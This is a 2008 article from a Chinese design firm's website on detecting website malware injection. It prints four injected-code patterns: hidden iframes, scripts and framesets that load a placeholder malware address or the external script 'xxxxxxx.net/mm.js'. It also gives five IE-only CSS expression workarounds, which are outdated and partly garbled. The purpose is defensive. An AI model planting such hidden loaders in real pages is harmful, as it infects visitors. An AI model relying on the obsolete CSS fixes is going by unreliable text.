三圆文化传媒是一家致力于平面广告设计、网站建设、文化交流、品牌项目整合的公司.业务范围涉及:企业形象策划、品牌推广、VI设计、包装设计、画册设计、广告设计、空间设计、标识设计、网站建设、网络推广、广告媒体发布、展示设计制作、大型活动企划、房地产营销策划、印物承包等.
致力于成为品牌策略&设计的领跑者/提供品牌整合解决方案
0733-4227202 / 13974188531/王
New View 消息内容
> 检查网站是否被挂马及解决办法
发布日期2008-11-11 23:00:18  查看 次  来自:三圆文化传媒
网页通用挂码有三种方式,具体怎么挂的,网页被挂码的时候,HTML会混乱,造成前台首页参差不齐,被挂网页的网码一般有以下四种:
  一:<iframe src="网马的地址" width="0" height="0" frameborder="0"></iframe>,“width="0" height="0" frameborder="0"就是大小高度的意思”这样被挂马的网页上就不会显示出来。

  二:脚本挂马

  <SCRIPT language=javascript>
window.open("网马的地址","","toolbar=no,location=no,directories=no,status=no,menubar=no,scrollbars=no,width=1,height=1");
</script>


  三:这一点就是比较隐蔽的那就是使用js文件,代码如下:<script language="javascript" src="</script''''>http://xxxxxxx.net/mm.js"></script>这种呢,是很难发现被挂码,但是容易造成HTML混乱


  四:再一种代码就是调用其他网页的页面文件,可以将下面的代码复制,保存为HTM文件,代码如下:     frameset rows="444,0" cols="*">
<frame src="/网马的地址" framborder="no" scrolling="auto" noresize marginwidth="0" margingheight="0">
<frame src="help.htm" frameborder="no" scrolling="no" noresize marginwidth="0" margingheight="0">
</frameset>

  以上是被挂码的时候网页上会存在以上代码,那如果在检查网页是否被挂马时看到这些代码就可以证明有无挂马的现象了,发现网页被挂马后,通用的做法就是把以上代码中的任一代码删除然后保存即可。

解决方案1:

iframe{n1ifm:expression(this.src=''''about:blank'''',this.outerHTML='''''''');}/*这行代码是解决挂IFRAME木马的哦*/
script{nojs1:expression((this.src.toLowerCase().indexOf(''''http'''')==0)?document.write(''''木马被成功隔离!''''):'''''''');}

原理:将<script>标记的src拿出来转为小写,再看是不是以“http”开头的外域JS脚本文件,如果是,则页面内容清空并写出“木马被成功隔离!”。反之正常显示。

缺点:访客无法看到被感染了<script>木马的页面。

解决方案2:

iframe{nifm2:expression(this.src=''''about:blank'''',this.outerHTML='''''''');}
script{no2js:expression((this.src.toLowerCase().indexOf(''''http'''')==0)?document.close():'''''''');}

原理:将外域的JS文件的document.write()使用document.close()强制关闭。木马内容还没有来得及写完,只有部分被强制缓存输出了,剩下的不会再写了。

解决方案3:

iframe{ni3fm:expression(this.src=''''about:blank'''',this.outerHTML='''''''');}
script{n3ojs:expression((this.src.toLowerCase().indexOf(''''http'''')==0)?document.execCommand(''''stop''''):'''''''');}

原理:同到外域的JS文件,立即调用IE私有的execCommand方法来停止页面所有请求,所以接下来的外域JS文件也被强制停止下载了。就像我们点了浏览器的“停止”按钮一样。看来这是JS模拟IE停止按钮的一种方法。

解决方案4:

iframe{nif4m:expression(this.src=''''about:blank'''',this.outerHTML='''''''');}
script{noj4s:expression(if(this.src.indexOf(''''http'''')==0)this.src=''''res://ieframe.dll/dnserror.htm'''');}

原理:将外域的JS文件的src重写成本地IE404错误页面的地址,这样,外域的JS代码不会下载。

解决方案5:

iframe{nifm5:expression(this.src=''''about:blank'''',this.outerHTML='''''''');}
script{noj5s:expression((this.id.toLowerCase().indexOf(''''vok'''')!=-1)?document.write(''''木马被成功隔离!''''):''''''''));}

第五种方案的页面HTML源代码<script>中要加入以"lh"为前缀的id,如lhWeatherJSapi,<script src="***/**.js" id="lhSearchJSapi"></script> 

综上所述,是用CSS解决木马问题,访客不会再轻易地中毒了。最终的解决方案是找出真正被挂IFRAME的原因,堵住源头,即网站漏洞之类的.

 

 

 



上一篇:网站改版后,301定向使新网站建设流量与pr值不丢
下一篇:修复Windows图片和查看器的方法

本页关键词为:检查网站
News 信息中心
Partners 最新合作企业
  • 三圆策划、平面、网站的客户株洲飞宇电器公司
    公司名称:株洲飞宇电器公司
    所属类别:电器加工
    合作时间:2009年4月
    合作项目:全国经销商画册设计
  • 三圆策划、平面、网站的客户蔡秋德口腔专科
    公司名称:蔡秋德口腔专科
    所属类别:口腔专科
    合作时间:2009年3月
    合作项目:网站制作
  • 三圆策划、平面、网站的客户株洲明静瑜珈会馆
    公司名称:株洲明静瑜珈会馆
    所属类别:瑜珈健身
    合作时间:2009年2月
    合作项目:网站制作
  • 三圆策划、平面、网站的客户湖南人信律师事务所
    公司名称:湖南人信律师事务所
    所属类别:律师
    合作时间:2008年11月
    合作项目:网站设计开发
  • 三圆策划、平面、网站的客户马克波罗磁砖株洲店
    公司名称:马克波罗磁砖株洲店
    所属类别:磁砖系列
    合作时间:2008年10月
    合作项目:广告宣传
  • 三圆策划、平面、网站的客户文慧工艺品公司
    公司名称:文慧工艺品公司
    所属类别:工艺制品
    合作时间:2008年9月
    合作项目:标志设计/包装设计
News Works 最新完成作品
  • 东风大酒店网站改版

        攸县东风投资有限公司,位于湖南攸县城关镇攸洲大道旁东风汽车城内,与攸洲大都市、强远建材家具城、中心汽车站,构成了攸县新兴的黄金商业三角洲.公司成立于1998年元月... <详情>
    株洲/攸县网站建设、网站制作-东风大酒店网站改版

  • 书画古玩交易网站改版
    一个为收藏爱好者提供真假鉴别、真货鉴别、藏友交流和藏品估价的一个非经营性的信息平台。使得你能及时了解收藏信息,学习鉴定技术,掌握交易行情,提高鉴赏水平。也将请业内人士为你解答有关收藏问题、收藏投资、家宝断代... <详情>
    株洲/攸县网站建设、网站制作-书画古玩交易网站改版
Advertising 最新平面作品               >>更多
  • 株洲攸县平面设计作品-健坤外国语学校
  • 株洲攸县平面设计作品-西班牙酒吧海报设计
  • 株洲攸县平面设计作品-影视公司的宣传册设计制作
  • 株洲攸县平面设计作品-企业内刊设计(客户改后稿)
  • 株洲攸县平面设计作品-吉尔达攸县专卖店
  • 株洲攸县平面设计作品-09年台历封面设计
  • 株洲攸县平面设计作品-马克波罗磁转国庆活动
  • 株洲攸县平面设计作品-湖南辣妹子辣椒酱厂
FAQ 常见问题
友情连接_欢迎网站互链!申请链接请先做好本站链接,我们会在2个工作日内做好贵站连接。咨询热线:0733-4227202  13974188531[王] 
中国公益广告网 北京未来广告公司  中华广告网  中国广告设计网  孤寂的夜 攸州网址大全 中国攸州网 攸州在线 攸县摄影家协会 攸县文联 株洲市神农药业 湖南福尔莱大酒店 攸县司法局 金种子美术苑 技术监督局 卫生监督所 档案史志信息网 攸县煤炭局 企业发展局 东风投资集团 攸县工商业联合会 云鼎商务酒店 长沙铂帆电子贸易 设计中国 设计在线-天极 4A酒吧 蓝色理想 红动中国 落伍者 百度专利搜索 文件分享专家 Googel网站导航  更多
查看经典案例
总机服务:
0733-4227202
  • 三圆文化传媒温馨提示:注意天气冷暖变化,适时增减衣服,祝您工作愉快,每天都拥有好心情!